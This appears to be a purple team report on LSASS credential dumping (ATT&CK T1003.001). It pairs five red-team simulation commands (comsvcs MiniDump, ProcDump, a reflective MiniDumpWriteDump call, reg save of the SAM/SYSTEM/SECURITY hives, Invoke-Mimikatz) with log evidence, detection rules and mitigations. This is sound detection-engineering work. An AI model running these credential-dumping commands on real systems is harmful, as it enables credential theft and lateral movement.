

Purple Team Assessment Report

Technique: T1003.001 — LSASS Memory | Generated: 2026-05-25 04:42:08 | Classification: CONFIDENTIAL

Executive Summary

Technique ID	T1003.001	Detection Score	85/100
Tactic	Credential Access	Coverage Rating	Good
Severity	Critical	False Positive Rate	Medium
Stealth Level	Low	Detection Gaps	5

Attack Description

Adversaries attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory including NTLM hashes, Kerberos tickets, and plaintext passwords. Attackers with administrative privileges can dump this memory to extract credentials for lateral movement and privilege escalation.

Real-world Usage: This technique is extensively used by APT28 (Fancy Bear), APT29 (Cozy Bear), and FIN6 using Mimikatz. The NotPetya ransomware used credential harvesting from LSASS for lateral movement. Lazarus Group has been observed using custom LSASS dumping tools. TrickBot malware includes modules specifically for LSASS credential theft. The SolarWinds SUNBURST attack leveraged LSASS memory access for credential harvesting during post-compromise activities.

Red Team — Attack Simulation

Simulation Commands

Command 1 (Windows / PowerShell) — Uses the built-in comsvcs.dll to create a minidump of the LSASS process. This is a living-off-the-land technique that leverages legitimate Windows components.

```
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id
C:\Windows\Temp\lsass.dmp full
```

Cleanup: Remove-Item C:\Windows\Temp\lsass.dmp -Force; Remove-Item C:\Windows\Temp\lsass*.dmp -Force -ErrorAction SilentlyContinue

Command 2 (Windows / CMD) — Uses Sysinternals ProcDump to create a full memory dump of LSASS. ProcDump is a legitimate Microsoft tool often used by attackers.

```
tasklist /fi "imagename eq lsass.exe" && procdump.exe -accepteula -ma lsass.exe
C:\Windows\Temp\lsass_dump.dmp
```

Cleanup: del /f C:\Windows\Temp\lsass_dump.dmp && del /f C:\Windows\Temp\procdump.exe

Command 3 (Windows / PowerShell) — Direct API call to MiniDumpWriteDump using PowerShell reflection to dump LSASS memory without external tools.

```
$process = Get-Process lsass; $path = 'C:\Windows\Temp\debug.bin';  
[Reflection.Assembly]::LoadWithPartialName('System.Management'); $dbghelp = Add-Type  
-MemberDefinition '[DllImport("dbghelp.dll")]public static extern bool MiniDumpWriteDump(IntPtr  
hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam,  
IntPtr CallbackParam);' -Name DbgHelp -Namespace Win32 -PassThru; $fs = New-Object  
IO.FileStream($path, [IO.FileMode]::Create); $dbghelp::MiniDumpWriteDump($process.Handle,  
$process.Id, $fs.SafeFileHandle.DangerousGetHandle(), 2, [IntPtr]::Zero, [IntPtr]::Zero,  
[IntPtr]::Zero); $fs.Close()
```

Cleanup: Remove-Item C:\Windows\Temp\debug.bin -Force

Command 4 (Windows / CMD) — Alternative method to extract credential material by saving registry hives containing SAM database and cached credentials. Can be processed offline with secretdump.

```
reg save HKLM\SAM C:\Windows\Temp\sam.save && reg save HKLM\SYSTEM C:\Windows\Temp\system.save &&  
reg save HKLM\SECURITY C:\Windows\Temp\security.save
```

Cleanup: del /f C:\Windows\Temp\sam.save C:\Windows\Temp\system.save C:\Windows\Temp\security.save

Command 5 (Windows / PowerShell) — PowerShell-based Mimikatz execution to directly extract credentials from LSASS memory without writing to disk.

```
Import-Module .\Invoke-Mimikatz.ps1; Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
```

Cleanup: Remove-Module Invoke-Mimikatz -Force -ErrorAction SilentlyContinue; Remove-Item .\Invoke-Mimikatz.ps1 -Force -ErrorAction SilentlyContinue

Expected Log Evidence

Log Source	Event ID	Field	Expected Value	Significance
Sysmon	10	TargetImage	C:\Windows\System32\lsass.exe	Process Access event showing a process attempting to open a handle to lsass.exe
Sysmon	1	CommandLine	comsvcs.dll, MiniDump	Process creation showing rundll32 being used to call MiniDump full memory dump
Windows Security	4656	ObjectName	\Device\HarddiskVolume*\Windows\System32\lsass.exe	Handle to System32\lsass.exe process object, indicates potential credential access
Windows Security	4663	ProcessName	C:\Windows\System32\rundll32.exe	Object access audit showing rundll32 accessing sensitive process object
Sysmon	11	TargetFilename	*.dmp	File creation event for dump files, especially in temp directories, indicates credential dumping
Windows Defender	1116	ThreatName	HackTool:Win32/Mimikatz	Windows Defender detection of known credential dumping tools
Sysmon	7	ImageLoaded	C:\Windows\System32\dbghelp.dll	Debug helper DLL loaded by unexpected process - commonly used for credential extraction

Blue Team — Detection Engineering

Detection Coverage

Score: 85/100 — Good

The expected log evidence provides strong coverage across multiple detection vectors including Sysmon process access events (EID 10), process creation (EID 1), file creation (EID 11), and Windows Security audit events. The combination of LSASS access monitoring, comsvcs.dll abuse detection, dump file creation, and dbghelp.dll loading provides layered detection. However, some advanced evasion techniques like direct syscalls, custom dumpers, or LSASS cloning may bypass these detections.

Detection Gaps

Gap	Risk	Recommendation
Direct syscall invocation bypassing API hooking (e.g., NtOpenProcess)	High Sysmon	Implement kernel-level ETW providers or deploy EDR solutions that monitor at kernel level.

LSASS memory access via legitimate Windows processes (e.g. Wininit, Wsmprovse, csrss.exe spawning with LSASS as parent or target. Detect silent process execution.	High	MITRE ATT&CK: Credential Access
Registry hive extraction (SAM/SYSTEM/SECURITY) and detection of reg.exe save commands targeting SAM, SYSTEM, and SECURITY hives.	Medium	Additional specific detection for reg.exe save commands targeting SAM, SYSTEM, and SECURITY hives.
In-memory Mimikatz execution without touching LSASS handles.	Medium	Enable PowerShell Script Block Logging (EID 4104) and Module Logging. Monitor for suspicious process spawning.
Credential access via duplicated LSASS handles and other processes.	Medium	Monitor for handle duplication events and track processes that obtain handles to LSASS and other system objects.

Detection Rules

Sigma

```
title: LSASS Memory Credential Dumping Detected | id: 5b345f2d-4c1a-4f3e-9d2a-8c7f6e5d4a3b | status: production | description: Detects various techniques used to dump credentials from LSASS memory including comsvcs.dll abuse, procdump, and direct API calls | author: Detection Engineering Team | date: 2024/01/15 | references: - https://attack.mitre.org/techniques/T1003/001/ | tags: - attack.credential_access - attack.t1003.001 | logsource: category: process_access product: windows | detection: selection_lsass_access: TargetImage|endswith: '\lsass.exe' GrantedAccess|contains: - '0x1010' - '0x1410' - '0x1FFFFF' - '0x1F1FFF' - '0x143A' filter_legitimate: SourceImage|endswith: - '\wmioprse.exe' - '\taskmgr.exe' - '\procexp64.exe' - '\procexp.exe' - '\MsMpEng.exe' - '\csrss.exe' - '\wininit.exe' ... [truncated – see full rule in web UI]
```

Splunk SPL

```
index=windows (sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational OR sourcetype=WinEventLog:Microsoft-Windows-Sysmon/Operational) EventCode=10 TargetImage="*\lsass.exe" (GrantedAccess="0x1010" OR GrantedAccess="0x1410" OR GrantedAccess="0x1FFFFF" OR GrantedAccess="0x1F1FFF" OR GrantedAccess="0x143A") NOT (SourceImage IN ("*\wmioprse.exe", " *\taskmgr.exe", " *\MsMpEng.exe", " *\csrss.exe", " *\wininit.exe")) | eval risk_score=case(GrantedAccess="0x1FFFFF", 100, GrantedAccess="0x1F1FFF", 95, GrantedAccess="0x1410", 85, GrantedAccess="0x1010", 75, 1=1, 50) | stats count earliest(_time) as first_seen latest(_time) as last_seen values(SourceImage) as attacking_process values(GrantedAccess) as access_rights max(risk_score) as max_risk by Computer, SourceProcessId | where count > 0 ... [truncated – see full rule in web UI]
```

KQL (Microsoft Sentinel)

```
DeviceEvents | where Timestamp > ago(24h) | where ActionType == "OpenProcessApiCall" | where FileName =~ "lsass.exe" | where InitiatingProcessFileName !in~ ("MsMpEng.exe", "csrss.exe", "wininit.exe", "vmtoolsd.exe", "taskmgr.exe") | project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName, InitiatingProcessParentFileName | union (SecurityEvent | where TimeGenerated > ago(24h) | where EventID == 4656 | where ObjectName contains "lsass.exe" | where AccessMask in ("0x1010", "0x1410", "0x1FFFFF")) | project TimeGenerated, Computer, SubjectUserName, ProcessName, ObjectName, AccessMask | union (DeviceProcessEvents | where Timestamp > ago(24h) | where ProcessCommandLine contains "comsvcs" and ProcessCommandLine contains "MiniDump" | proj ... [truncated – see full rule in web UI]
```

Wazuh XML

```
61603(?)lsass\.$0x1(010|410|FFFFF|F1FFF)LSASS Memory Access Detected - Potential Credential Dumping (T1003.001)T1003.001no_full_log61600(?)comsvcs.*MiniDumpLSASS Dump via comsvcs.dll MiniDump - Credential Access (T1003.001)T1003.00161600... [truncated – see full rule in web UI]
```

MITRE ATT&CK; Mitigations

- M1043 — Credential Access Protection:** Enable Windows Credential Guard to protect LSASS with virtualization-based security. This prevents most credential dumping techniques by isolating secrets in a protected container that even kernel-level malware cannot access.
- M1025 — Privileged Process Integrity:** Enable LSA Protection (RunAsPPL) by setting HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL to 1. This runs LSASS as a Protected Process Light, preventing non-protected processes from injecting code or reading memory.
- M1026 — Privileged Account Management:** Limit the number of accounts with SeDebugPrivilege and local administrator rights. Implement tiered administration model to reduce credential exposure on endpoints.

M1017 — User Training: Train administrators to avoid logging into untrusted systems with privileged credentials. Use Remote Credential Guard for RDP sessions to prevent credential caching on remote systems.

M1027 — Password Policies: Implement strong password policies and consider using Windows Hello for Business or smart card authentication to reduce reliance on passwords that can be extracted from LSASS.